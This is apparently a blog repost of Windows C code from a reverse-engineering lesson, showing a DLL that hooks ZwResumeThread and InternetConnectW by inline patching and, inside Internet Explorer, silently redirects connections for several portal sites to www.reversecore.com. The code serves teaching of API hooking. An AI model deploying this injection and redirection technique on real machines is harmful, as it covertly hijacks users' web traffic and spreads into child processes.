        DWORD_PTR dwContext
    )
    {
        HINTERNET hInt = NULL;
        FARPROC pFunc = NULL;
        HMODULE hMod = NULL;
    
        // unhook  
        if (!unhook_by_code("wininet.dll", "InternetConnectW", g_pICW))
        {
            DebugLog("NewInternetConnectW() : unhook_by_code() failed!!!
    ");
            return NULL;
        }
    
        // call original API  
        hMod = GetModuleHandle(L"wininet.dll");
        if (hMod == NULL)
        {
            DebugLog("NewInternetConnectW() : GetModuleHandle() failed!!! [%d]
    ",
                GetLastError());
            goto __INTERNETCONNECT_EXIT;
        }
    
        pFunc = GetProcAddress(hMod, "InternetConnectW");
        if (pFunc == NULL)
        {
            DebugLog("NewInternetConnectW() : GetProcAddress() failed!!! [%d]
    ",
                GetLastError());
            goto __INTERNETCONNECT_EXIT;
        }
    
        if (!_tcsicmp(lpszServerName, L"www.naver.com") ||
            !_tcsicmp(lpszServerName, L"www.daum.net") ||
            !_tcsicmp(lpszServerName, L"www.nate.com") ||
            !_tcsicmp(lpszServerName, L"www.yahoo.com"))
        {
            DebugLog("[redirect] naver, daum, nate, yahoo => reversecore
    ");
            hInt = ((PFINTERNETCONNECTW)pFunc)(hInternet,
                L"www.reversecore.com",
                nServerPort,
                lpszUsername,
                lpszPassword,
                dwService,
                dwFlags,
                dwContext);
        }
        else
        {
            DebugLog("[no redirect]
    ");
            hInt = ((PFINTERNETCONNECTW)pFunc)(hInternet,
                lpszServerName,
                nServerPort,
                lpszUsername,
                lpszPassword,
                dwService,
                dwFlags,
                dwContext);
        }
    
    __INTERNETCONNECT_EXIT:
    
        // hook  
        if (!hook_by_code("wininet.dll", "InternetConnectW",
            (PROC)NewInternetConnectW, g_pICW))
        {
            DebugLog("NewInternetConnectW() : hook_by_code() failed!!!
    ");
        }
    
        return hInt;
    }
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        char            szCurProc[MAX_PATH] = { 0, };
        char* p = NULL;
    
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
            DebugLog("DllMain() : DLL_PROCESS_ATTACH
    ");
    
            GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
            p = strrchr(szCurProc, '\');
            if ((p != NULL) && !_stricmp(p + 1, "iexplore.exe"))
            {
                DebugLog("DllMain() : current process is [iexplore.exe]
    ");
    
                // 钩取wininet!InternetConnectW() API之前  
                // 预先加载wininet.dll  
                if (NULL == LoadLibrary(L"wininet.dll"))
                {
                    DebugLog("DllMain() : LoadLibrary() failed!!! [%d]
    ",
                        GetLastError());
                }
            }
    
            // hook  
            hook_by_code("ntdll.dll", "ZwResumeThread",
                (PROC)NewZwResumeThread, g_pZWRT);
            hook_by_code("wininet.dll", "InternetConnectW",
                (PROC)NewInternetConnectW, g_pICW);
            break;
    
        case DLL_PROCESS_DETACH:
            DebugLog("DllMain() : DLL_PROCESS_DETACH
    ");
    
            // unhook  
            unhook_by_code("ntdll.dll", "ZwResumeThread",
                g_pZWRT);
            unhook_by_code("wininet.dll", "InternetConnectW",
                g_pICW);
            break;
        }
    
        return TRUE;
    }
    
    
  • 相关阅读:
    2017/09/02笔记:ps
    207/08/3学习笔记:pc端网站如何实现移动端适配知识点
    2017/0828xueix笔记:图像替代文本&css绘制的图形
    20170824:面试题笔记
    目前比较全的CSS重设(reset)方法总结
    学习笔记:css3实现多行文字溢出显示省略号&display:box;
    SVG圆形<circle> 标签
    k8s节点分配nodeSelector, Affinity和Anti-Affinity 亲和性和反亲和性
    kubernetes网络介绍
    centos6.7 安装docker
  • 原文地址:https://www.cnblogs.com/lex-shoukaku/p/13826958.html
Copyright © 2011-2022 走看看